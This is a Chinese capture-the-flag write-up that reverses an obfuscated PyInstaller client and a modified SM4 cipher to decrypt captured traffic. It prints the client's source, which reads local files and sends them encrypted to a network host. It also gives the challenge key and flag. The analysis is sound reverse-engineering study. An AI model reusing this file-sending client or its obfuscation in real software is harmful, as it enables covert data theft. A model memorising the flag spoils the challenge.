题目

一个ELF和流量包,先看看流量包

是一个客户端的tcp通信流量,看样子是加密文件内容

ELF则是linux版本的PyInstaller引导程序,直接pyinstxtractor解包

得到了一堆pyc和相关环境文件,大部分都是依赖,client.pyc应该是我们要分析的文件

反编译

尝试通过pycdc反编译获取源码

反编译失败,看样子是做了混淆,直接反编译字节码分析

可以看到_1667常量是一段加密,同时看到了b85decode函数名,应该就是base85,解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
_j0 = lambda: (30 ^ 126) + (520 % 26)
_j1 = lambda: (158 ^ 184) + (820 % 54)
_j2 = lambda: (37 ^ 2) + (687 % 25)
_j3 = lambda: (72 ^ 112) + (474 % 30)
_j4 = lambda: (173 ^ 82) + (257 % 73)
_j5 = lambda: (117 ^ 203) + (331 % 54)
_j6 = lambda: (242 ^ 46) + (846 % 33)
_j7 = lambda: (21 ^ 148) + (425 % 77)
_j8 = lambda: (139 ^ 134) + (427 % 21)
_j9 = lambda: (245 ^ 62) + (413 % 85)
_j10 = lambda: (242 ^ 65) + (892 % 30)
_j11 = lambda: (22 ^ 58) + (740 % 59)
_j12 = lambda: (139 ^ 248) + (771 % 74)
_j13 = lambda: (219 ^ 230) + (262 % 63)
_j14 = lambda: (17 ^ 89) + (622 % 38)
_j15 = lambda: (229 ^ 205) + (369 % 25)
_j16 = lambda: (111 ^ 33) + (433 % 50)
_j17 = lambda: (41 ^ 142) + (512 % 21)

class _Obf3776:
def __init__(self):
self._v = 751
def _m(self):
return self._v * 5

#!/usr/bin/env python3

import socket
import json
import os
import sys
import hashlib
import time

sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import crypt_core


class CustomBase64:
CUSTOM_ALPHABET = _oe("8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr", 83, 214, 17)
STANDARD_ALPHABET = (
_oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}", 83, 214, 17)
)
ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)

@classmethod
def decode(cls, data: str) -> bytes:
import base64

std_b64 = data.translate(cls.DECODE_TABLE)
return base64.b64decode(std_b64)


SERVER_HOST = ""
SERVER_PORT = 9999
KEY_B64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ", 83, 214, 17)
KEY = CustomBase64.decode(KEY_B64)
FILES_TO_SEND = [_oe("I-p}FvS)q0emD", 83, 214, 17), _oe("B(-BJ_<B6O", 83, 214, 17), _oe("C$MxRtZ99{emD", 83, 214, 17)]


def _opaque_true():
_x = 0
for _i in range(100):
_x += _i * (_i - _i + 1)
return _x >= 0


def _opaque_false():
_a, _b = 5, 7
return (_a * _b) == (_b * _a + 1)


def _dead_calc():
_dead = 0
for _i in range(50):
_dead = (_dead + _i) % 17
if _dead > 100:
_dead = _dead * 2 + 1
return _dead


def encrypt_file(key: bytes, plaintext: bytes) -> bytes:
_state = 0
_result = None
while _state < 3:
if _state == 0:
if _opaque_true():
_result = crypt_core.encode_data(plaintext, key[:16])
_state = 2
else:
_dead_calc()
_state = 1
elif _state == 1:
_dead_calc()
_state = 2
elif _state == 2:
if _opaque_false():
_result = None
_state = 3
return _result


def send_single_file(sock, filename, plaintext):
_s = 0
_ct = None
_pl = None
while _s < 5:
if _s == 0:
_ct = encrypt_file(KEY, plaintext)
_s = 1
elif _s == 1:
_pl = {_oe("B&>2Jvtu`)", 83, 214, 17): filename, _oe("C#-fVpm;c-emD", 83, 214, 17): _ct.hex()}
_s = 2
elif _s == 2:
if _opaque_true():
sock.sendall(json.dumps(_pl).encode(_oe("KfPvt;{", 83, 214, 17)) + b"\n")
_s = 4
else:
_dead_calc()
_s = 3
elif _s == 3:
_dead_calc()
_s = 4
elif _s == 4:
if not _opaque_false():
time.sleep(0.1)
_s = 5


def _verify_cmd(cmd):
_state = 10
_hash_val = None
_valid = False

while _state < 50:
if _state == 10:
if len(cmd) > 0:
_state = 20
else:
_state = 49
elif _state == 20:
_hash_val = hashlib.md5(cmd.encode()).hexdigest()
_state = 30
elif _state == 30:
if _opaque_true():
_valid = _hash_val == _oe("VWK4=qGuqYBxK?sVWlBw<RW0^B4q9&VB;re<0L2U", 83, 214, 17)
_state = 40
else:
_dead_calc()
_state = 49
elif _state == 40:
if _valid:
_state = 50
else:
_state = 49
elif _state == 49:
return False

return _valid


def _get_server_host(args):
_s = 100
_host = None

while _s < 200:
if _s == 100:
if len(args) > 2:
_s = 110
else:
_s = 120
elif _s == 110:
_host = args[2]
_s = 200
elif _s == 120:
if _opaque_true():
_host = ""
_s = 200
elif _s == 200:
if _opaque_false():
_host = _oe("Ywsm};Xh>fDF", 83, 214, 17)
_s = 201

return _host


def main():
_state = 0
_sock = None
_idx = 0
_printed_header = False

while _state < 100:
if _state == 0:
if _opaque_false():
print(_oe("2B2dm_GLArX8", 83, 214, 17))
_state = 1
elif _state == 1:
if len(sys.argv) < 2:
_state = 5
else:
_state = 2
elif _state == 2:
if _verify_cmd(sys.argv[1]):
_state = 3
else:
_state = 4
elif _state == 3:
if not _printed_header:
print("=" * 50)
print(_oe("8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)", 83, 214, 17))
print("=" * 50)
_printed_header = True
_state = 10
elif _state == 4:
print("错误:无效的命令")
_state = 99
elif _state == 5:
print("用法:python client.py <command> [SERVER_HOST]")
_state = 99
elif _state == 10:
try:
_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_state = 11
except Exception:
_state = 99
elif _state == 11:
_host = _get_server_host(sys.argv)
_state = 12
elif _state == 12:
try:
_sock.connect((_host, SERVER_PORT))
_state = 20
except Exception as e:
print(f"[!] 连接失败:{e}")
_state = 99
elif _state == 20:
if _idx < len(FILES_TO_SEND):
_state = 21
else:
_state = 30
elif _state == 21:
_fname = FILES_TO_SEND[_idx]
_state = 22
elif _state == 22:
if os.path.exists(_fname):
_state = 23
else:
_state = 28
elif _state == 23:
with open(_fname, "rb") as _f:
_data = _f.read()
_state = 24
elif _state == 24:
if _opaque_true():
print(f"[*] 发送文件")
_state = 25
elif _state == 25:
if not _opaque_false():
send_single_file(_sock, _fname, _data)
_state = 26
elif _state == 26:
_idx += 1
_state = 20
elif _state == 28:
print(f"[-] 文件不存在")
_state = 29
elif _state == 29:
_idx += 1
_state = 20
elif _state == 30:
if _opaque_true():
time.sleep(0.2)
_state = 31
elif _state == 31:
if _sock:
_sock.close()
_state = 99
elif _state == 99:
break


if __name__ == _oe("42g9itaJ>C", 83, 214, 17):
_dead_calc()
if _opaque_true():
main()
else:
_dead_calc()


依然是混淆后的代码,其中大部分是干扰分析的代码

1
2
3
_opaque_true()
_opaque_false()
_dead_calc()

还有一些控制流的混淆,排除之后手动分析一下,其中所有关键字符串都经过了_oe函数加密

_oe函数

从字节码中可以看到很多坏指令干扰了反编译器逻辑,我们手动分析一下oe函数的字节码

第一阶段

首先将密文字符串_d进行base85解码,得到一个字节数组_b

随后将传入的三个整数组成一个元组密钥_k1, _k2, _rn

遍历字节数组_b,用当前字节的索引对3取模(_i % 3),从密钥元组中取出对应的整数,然后与当前字节进行异或 (XOR) 操作,最后把字节数组解码为普通的UTF-8字符串

第二阶段

首先对第一阶段得到的字符串_s进行逐字符遍历,利用参数_rn作为偏移量进行位移还原

判断大小写和数字进行相应的处理,其他字符原样处理,这一步其实就是凯撒密码

由此我们可以手动构造一个_oe函数用于解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64

def _oe(_d: str, _k1: int, _k2: int, _rn: int) -> str:
# Base85解码/循环异或
_b = base64.b85decode(_d.encode('utf-8'))
_r = bytearray()
keys = (_k1, _k2, _rn)

for _i, _x in enumerate(_b):
_k = keys[_i % 3]
_r.append(_x ^ _k)
_s = bytes(_r).decode('utf-8')

# 凯撒位移
_res = []
for _c in _s:
if _c.isalpha():
_base = ord('A') if _c.isupper() else ord('a')
# 还原字符
_res.append(chr((ord(_c) - _base - _rn) % 26 + _base))
elif _c.isdigit():
# 还原数字
_res.append(str((int(_c) - _rn) % 10))
else:
# 符号不变
_res.append(_c)

return ''.join(_res)

server_host = _oe("Ywsm};Xh>fDF", 83, 214, 17)
print(server_host)

crypt_core模块

在client的最上面还引入了一个crypt_core模块,从解压文件中发现了so文件

ida分析一下

看的出来是Cython编译的,Cython编译有个特性就是在打包过程中会将Python可调用的函数名以“模块名.函数名”的格式嵌入二进制,我们直接提取字符串

这几个都是SM4的典型实现函数

解混淆client.py

通过之前的_oe函数对所有加密的关键字符进行解密

1
2
3
4
5
6
7
8
9
10
11
自定义base64字母表:QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890!@
正常base64字母表:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

KEY_B64:eUYme4MkN1KSC1bWJZJ2w3FUJCiEXT13D2u1KmiNtfhXKZYE
KEY_B64通过自定义的字母表解码后:b'passvkcDKWLAA45ocFAXBPM63X4G8XzzTE1B'

发送的文件名列表:["readme.txt", "flag.txt", "config.txt"]
cmd哈希:5c7acebc80745b3756636016689788c1

默认服务器地址:127.0.0.1
header:Secure File Transfer Client v1.0

由此我们可以还原client.py源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python3
import socket
import json
import os
import sys
import hashlib
import time

sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import crypt_core


class CustomBase64:
CUSTOM_ALPHABET = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890!@"
STANDARD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)

@classmethod
def decode(cls, data: str) -> bytes:
import base64
std_b64 = data.translate(cls.DECODE_TABLE)
return base64.b64decode(std_b64)


# 配置
SERVER_HOST = ""
SERVER_PORT = 9999
KEY_B64 = "eUYme4MkN1KSC1bWJZJ2w3FUJCiEXT13D2u1KmiNtfhXKZYE"
# 实际密钥:passvkcDKWLAA45ocFAXBPM63X4G8XzzTE1B
# 取前16位就是:passvkcDKWLAA45o
KEY = CustomBase64.decode(KEY_B64)

# 要窃取的文件列表
FILES_TO_SEND = ["readme.txt", "flag.txt", "config.txt"]

def encrypt_file(key: bytes, plaintext: bytes) -> bytes:
"""使用crypt_core模块加密文件"""
return crypt_core.encode_data(plaintext, key[:16])


def send_single_file(sock, filename, plaintext):
"""发送单个加密文件到服务器"""
ciphertext = encrypt_file(KEY, plaintext)
payload = {
"filename": filename,
"ciphertext": ciphertext.hex()
}
sock.sendall(json.dumps(payload).encode("utf-8") + b"\n")
time.sleep(0.1)


def verify_cmd(cmd):
"""验证命令是否正确(通过MD5)"""
hash_val = hashlib.md5(cmd.encode()).hexdigest()
return hash_val == "5c7acebc80745b3756636016689788c1"


def get_server_host(args):
"""获取服务器地址"""
if len(args) > 2:
return args[2]
return "127.0.0.1"


def main():
if len(sys.argv) < 2:
print("用法:python client.py <command> [SERVER_HOST]")
return

if not verify_cmd(sys.argv[1]):
print("错误:无效的命令")
return

print("=" * 50)
print("Secure File Transfer Client v1.0")
print("=" * 50)

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = get_server_host(sys.argv)
sock.connect((host, SERVER_PORT))
except Exception as e:
print(f"[!] 连接失败:{e}")
return

for filename in FILES_TO_SEND:
if os.path.exists(filename):
with open(filename, "rb") as f:
data = f.read()
print(f"[*] 发送文件: {filename}")
send_single_file(sock, filename, data)
else:
print(f"[-] 文件不存在: {filename}")

time.sleep(0.2)
sock.close()


if __name__ == "__main__":
main()

总结一下,就是通过自定义的base64字母表解码密钥本身,然后取前16位作为通信密钥,对文件内容进行加密后发送到目标服务器,加密方式上面分析了,看函数大概率就是SM4,没有传入IV,要么是函数内置的IV,要么就是ECB模式

回到最开始的流量包,内容如下:

1
2
3
{"filename": "readme.txt", "ciphertext": "4fe09336577aa52de2d0de1489784d0f6306686ceeae6b28e578c70f5f74fa2a9e48d441c78c3633e2f6335ff00722818ab4c977d77d6dd7d2595640ebf6abc4229230cbb0a238bd1f151f69026e5d8d45e47c89898cbc2875d62933b7cef22379f97a499e4716b92ba8c6eb687d56e385ef94071d2ccd18fc72f4d670d680d801216d06e1a1214041fb7f66fef6c55b8d9b94a9231f60504ed77231c0db127a8647fdb8ed958c259c56d7638f4bf3e1"}
{"filename": "flag.txt", "ciphertext": "d0edd4a1620f6f01db93699e7291bc570b7d8cdd4fa0a69a0839ca4b86a7bd8daacd74313e64da169697af402033a761"}
{"filename": "config.txt", "ciphertext": "649d0fa1844f4a8ab171ab4150fc0155a89df8a4c568c63670293841c771bb63191efd24174a0039a2b80ab17a4d8cfd71a112e23c5ccf1927c933eb987ad533"}

然而用标准SM4/ECB解密失败了,怀疑出题人魔改了标准SM4流程,只能回头继续看crypt_core模块

魔改SM4分析

这里有几种思路,我们直接找字符串交叉引用

主要加密函数是encode_data

跳转到data段

查阅官方文档我们可知,Cython中PyMethodDef结构是这样的:

1
2
3
4
5
6
struct PyMethodDef {
const char *ml_name; /* 字符串指针 */
PyCFunction ml_meth; /* 函数指针 */
int ml_flags; /* 标志位 */
const char *ml_doc; /* 字符串指针*/
};

那么下个字节地址的sub_9820函数就是encode_data函数的入口,双击跟进

前面大部分都是cython的内存管理逻辑,检查完成后的调用就是我们的目标函数,双击跟进,是一个非常大的函数,我们分开来看

PKCS#7填充 (16字节分组)

计算离16字节的长度然后填充

密钥扩展流程

来到508行,是一个很大的while 1循环,就是一个不知道是不是手搓的密钥扩展流程

先取前三个密钥与 CK 异或

S盒字节替换

这里把一个32位的整数v45切成了4个独立的字节,然后去xmmword_DBA0数组里查表,这个xmmword_DBA0就是S盒的位置

左移13位

S盒及其他参数

在上面这整个过程中,我们首先去排查S盒,也就是xmmword_DBA0这个数组,双击跟进

发现来到了bss段,说明S盒并不是常量,是动态生成的,同样搜索交叉引用

找到一个标记为写入的段,跟进

这里应该还是拷贝内存的操作,但是我们注意到一共是0xad90-0xac10+16=400个字节

在SM4中S盒(256)+FK系统参数(16)+CK轮常数(128)正好是16字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# S盒,逐字节读取,所以是大端序
EC CA 0E F3 08 F0 2A A2 3B 18 2B 5C 37 BD 12 A8
05 D3 A1 57 4F 96 FC F5 A7 14 19 66 58 9B BF B4
39 D5 1E 1A 30 BC 6C 80 B7 ED 41 06 D9 17 67 CD
1D 2C AE 24 03 13 C6 53 83 11 0A F7 C0 4D C4 9E
8D 00 1F C3 3F 35 9F CB 72 9D 16 6F AC CE 3C 5E
A6 E1 7B 34 36 32 B8 95 91 89 52 C1 E7 A3 33 48
04 CF 10 EB 25 BB 8E 0F 81 6E B3 43 45 8F 49 F8
4B 59 07 4A DE FD C8 D0 84 8B FB DA DB 28 D4 3E
A4 2F 56 BE EF 86 C7 62 EA 76 E9 D6 74 A5 6B F9
98 7D 3A 26 5A AF 87 0D 1B 2E B2 E3 6A CC F1 FF
D7 F6 1C C9 E8 70 20 4E 23 3D C2 AA DC 0B F2 5F
7A FA 88 97 47 D1 0C 02 31 7F F4 75 15 93 38 8A
42 90 71 DD 73 55 7E B5 5B 29 4C 9A E0 8C B0 E5
64 27 01 DF AD 21 79 94 92 51 69 7C 22 63 50 85
2D E2 40 46 44 A9 82 B6 61 D8 D2 B9 68 AB B1 5D
65 54 77 A0 C5 BA 60 9C E4 FE EE 99 E6 78 6D 09

# FK
A4 86 1F 3B 2D 33 F7 83 8E BA AD 58 73 3F DC 71
# 注意此处FK是按4个字节的小端序
3B 1F 86 A4 83 F7 33 2D 58 AD BA 8E 71 DC 3F 73

# CK
06 87 14 9A A4 04 79 65 2D 5D 53 B0 A7 7A 5C 86
D4 F2 FE F7 8B 3A 9D F0 90 03 CB 67 AA D1 B1 F3
E3 ED 41 19 50 56 D5 CD 12 A6 2A 27 C6 1D 7B 39
6B AB 7A 76 44 90 A3 71 92 F5 77 8A 07 79 5A 7B
51 82 D1 97 CB 60 19 CA 34 41 B5 44 0A C7 30 3F
72 6C B3 5E 16 E7 69 55 2C 83 BF 51 BC 95 3A F1
24 F8 D9 92 15 ED 5C E7 65 D8 58 45 CD 50 52 BE
94 8E 65 8F C0 5D EA B4 CE 7F 37 B0 62 47 F4 4D
# 同样是按4个字节的小端序
9A 14 87 06 65 79 04 A4 B0 53 5D 2D 86 5C 7A A7
F7 FE F2 D4 F0 9D 3A 8B 67 CB 03 90 F3 B1 D1 AA
19 41 ED E3 CD D5 56 50 27 2A A6 12 39 7B 1D C6
76 7A AB 6B 71 A3 90 44 8A 77 F5 92 7B 5A 79 07
97 D1 82 51 CA 19 60 CB 44 B5 41 34 3F 30 C7 0A
5E B3 6C 72 55 69 E7 16 51 BF 83 2C F1 3A 95 BC

拿到了之后继续往下看看还有没有其他魔改

来到循环体末尾结束的地方,这个v18是每次循环增加4的计数器,每个轮密钥是4个字节,循环在v18 == 96时就强行跳出到了LABEL_114结束密钥拓展流程的循环

标准SM4一共是32轮循环,96/4=24,这里只进行了24层循环

魔改S盒+魔改常量+24轮加密

到此我们可以编写脚本尝试解密,把数据包中的三个文件密文放进来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# S盒/大端序/256
SBOX = [
0xEC, 0xCA, 0x0E, 0xF3, 0x08, 0xF0, 0x2A, 0xA2, 0x3B, 0x18, 0x2B, 0x5C, 0x37, 0xBD, 0x12, 0xA8,
0x05, 0xD3, 0xA1, 0x57, 0x4F, 0x96, 0xFC, 0xF5, 0xA7, 0x14, 0x19, 0x66, 0x58, 0x9B, 0xBF, 0xB4,
0x39, 0xD5, 0x1E, 0x1A, 0x30, 0xBC, 0x6C, 0x80, 0xB7, 0xED, 0x41, 0x06, 0xD9, 0x17, 0x67, 0xCD,
0x1D, 0x2C, 0xAE, 0x24, 0x03, 0x13, 0xC6, 0x53, 0x83, 0x11, 0x0A, 0xF7, 0xC0, 0x4D, 0xC4, 0x9E,
0x8D, 0x00, 0x1F, 0xC3, 0x3F, 0x35, 0x9F, 0xCB, 0x72, 0x9D, 0x16, 0x6F, 0xAC, 0xCE, 0x3C, 0x5E,
0xA6, 0xE1, 0x7B, 0x34, 0x36, 0x32, 0xB8, 0x95, 0x91, 0x89, 0x52, 0xC1, 0xE7, 0xA3, 0x33, 0x48,
0x04, 0xCF, 0x10, 0xEB, 0x25, 0xBB, 0x8E, 0x0F, 0x81, 0x6E, 0xB3, 0x43, 0x45, 0x8F, 0x49, 0xF8,
0x4B, 0x59, 0x07, 0x4A, 0xDE, 0xFD, 0xC8, 0xD0, 0x84, 0x8B, 0xFB, 0xDA, 0xDB, 0x28, 0xD4, 0x3E,
0xA4, 0x2F, 0x56, 0xBE, 0xEF, 0x86, 0xC7, 0x62, 0xEA, 0x76, 0xE9, 0xD6, 0x74, 0xA5, 0x6B, 0xF9,
0x98, 0x7D, 0x3A, 0x26, 0x5A, 0xAF, 0x87, 0x0D, 0x1B, 0x2E, 0xB2, 0xE3, 0x6A, 0xCC, 0xF1, 0xFF,
0xD7, 0xF6, 0x1C, 0xC9, 0xE8, 0x70, 0x20, 0x4E, 0x23, 0x3D, 0xC2, 0xAA, 0xDC, 0x0B, 0xF2, 0x5F,
0x7A, 0xFA, 0x88, 0x97, 0x47, 0xD1, 0x0C, 0x02, 0x31, 0x7F, 0xF4, 0x75, 0x15, 0x93, 0x38, 0x8A,
0x42, 0x90, 0x71, 0xDD, 0x73, 0x55, 0x7E, 0xB5, 0x5B, 0x29, 0x4C, 0x9A, 0xE0, 0x8C, 0xB0, 0xE5,
0x64, 0x27, 0x01, 0xDF, 0xAD, 0x21, 0x79, 0x94, 0x92, 0x51, 0x69, 0x7C, 0x22, 0x63, 0x50, 0x85,
0x2D, 0xE2, 0x40, 0x46, 0x44, 0xA9, 0x82, 0xB6, 0x61, 0xD8, 0xD2, 0xB9, 0x68, 0xAB, 0xB1, 0x5D,
0x65, 0x54, 0x77, 0xA0, 0xC5, 0xBA, 0x60, 0x9C, 0xE4, 0xFE, 0xEE, 0x99, 0xE6, 0x78, 0x6D, 0x09
]

# FK/小端序/16
FK = [0x3B1F86A4, 0x83F7332D, 0x58ADBA8E, 0x71DC3F73]

# CK/小端序/128
CK = [
0x9A148706, 0x657904A4, 0xB0535D2D, 0x865C7AA7, 0xF7FEF2D4, 0xF09D3A8B, 0x67CB0390, 0xF3B1D1AA,
0x1941EDE3, 0xCDD55650, 0x272AA612, 0x397B1DC6, 0x767AAB6B, 0x71A39044, 0x8A77F592, 0x7B5A7907,
0x97D18251, 0xCA1960CB, 0x44B54134, 0x3F30C70A, 0x5EB36C72, 0x5569E716, 0x51BF832C, 0xF13A95BC,
]

# 左移位
def rotl(x, n):
return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))

def sm4_tau(a):
return (SBOX[(a >> 24) & 0xFF] << 24) | (SBOX[(a >> 16) & 0xFF] << 16) | (SBOX[(a >> 8) & 0xFF] << 8) | SBOX[a & 0xFF]

def get_decryption_round_keys(key_bytes):
k = [0] * (24 + 4)

k[0] = int.from_bytes(key_bytes[0:4], 'big') ^ FK[0]
k[1] = int.from_bytes(key_bytes[4:8], 'big') ^ FK[1]
k[2] = int.from_bytes(key_bytes[8:12], 'big') ^ FK[2]
k[3] = int.from_bytes(key_bytes[12:16], 'big') ^ FK[3]

rk = []
# 24轮扩展
for i in range(24):
tmp = k[i+1] ^ k[i+2] ^ k[i+3] ^ CK[i]
t = sm4_tau(tmp)
rk_val = k[i] ^ (t ^ rotl(t, 13) ^ rotl(t, 23))
rk.append(rk_val)
k[i+4] = rk_val

return rk[::-1] # 反转轮密钥

def decrypt_ecb_24_rounds(ct_bytes, rk_dec):
pt = b''
for idx in range(0, len(ct_bytes), 16):
block = ct_bytes[idx:idx+16]
x = [int.from_bytes(block[i:i+4], 'big') for i in range(0, 16, 4)]

# 24轮解密
for i in range(24):
tmp = x[i+1] ^ x[i+2] ^ x[i+3] ^ rk_dec[i]
t = sm4_tau(tmp)
x.append(x[i] ^ (t ^ rotl(t, 2) ^ rotl(t, 10) ^ rotl(t, 18) ^ rotl(t, 24)))

# 逆序输出最后4个字
pt += b''.join(x[i].to_bytes(4, 'big') for i in range(27, 23, -1))
return pt

def unpad_and_decode(pt):
pad_len = pt[-1]
return pt[:-pad_len].decode('utf-8')

# 密钥
key = b'passvkcDKWLAA45o'
rk_dec = get_decryption_round_keys(key)

# readme、flag、config
file=[
"4fe09336577aa52de2d0de1489784d0f6306686ceeae6b28e578c70f5f74fa2a9e48d441c78c3633e2f6335ff00722818ab4c977d77d6dd7d2595640ebf6abc4229230cbb0a238bd1f151f69026e5d8d45e47c89898cbc2875d62933b7cef22379f97a499e4716b92ba8c6eb687d56e385ef94071d2ccd18fc72f4d670d680d801216d06e1a1214041fb7f66fef6c55b8d9b94a9231f60504ed77231c0db127a8647fdb8ed958c259c56d7638f4bf3e1",
"d0edd4a1620f6f01db93699e7291bc570b7d8cdd4fa0a69a0839ca4b86a7bd8daacd74313e64da169697af402033a761",
"649d0fa1844f4a8ab171ab4150fc0155a89df8a4c568c63670293841c771bb63191efd24174a0039a2b80ab17a4d8cfd71a112e23c5ccf1927c933eb987ad533"
]

for content in file:
ct = bytes.fromhex(content)
pt_bytes = decrypt_ecb_24_rounds(ct, rk_dec)
print(unpad_and_decode(pt_bytes))
print("=========")

FLAG

得到flag:dart{f4b547fc-b3d0-44c3-bf21-8f3fb5ad3220}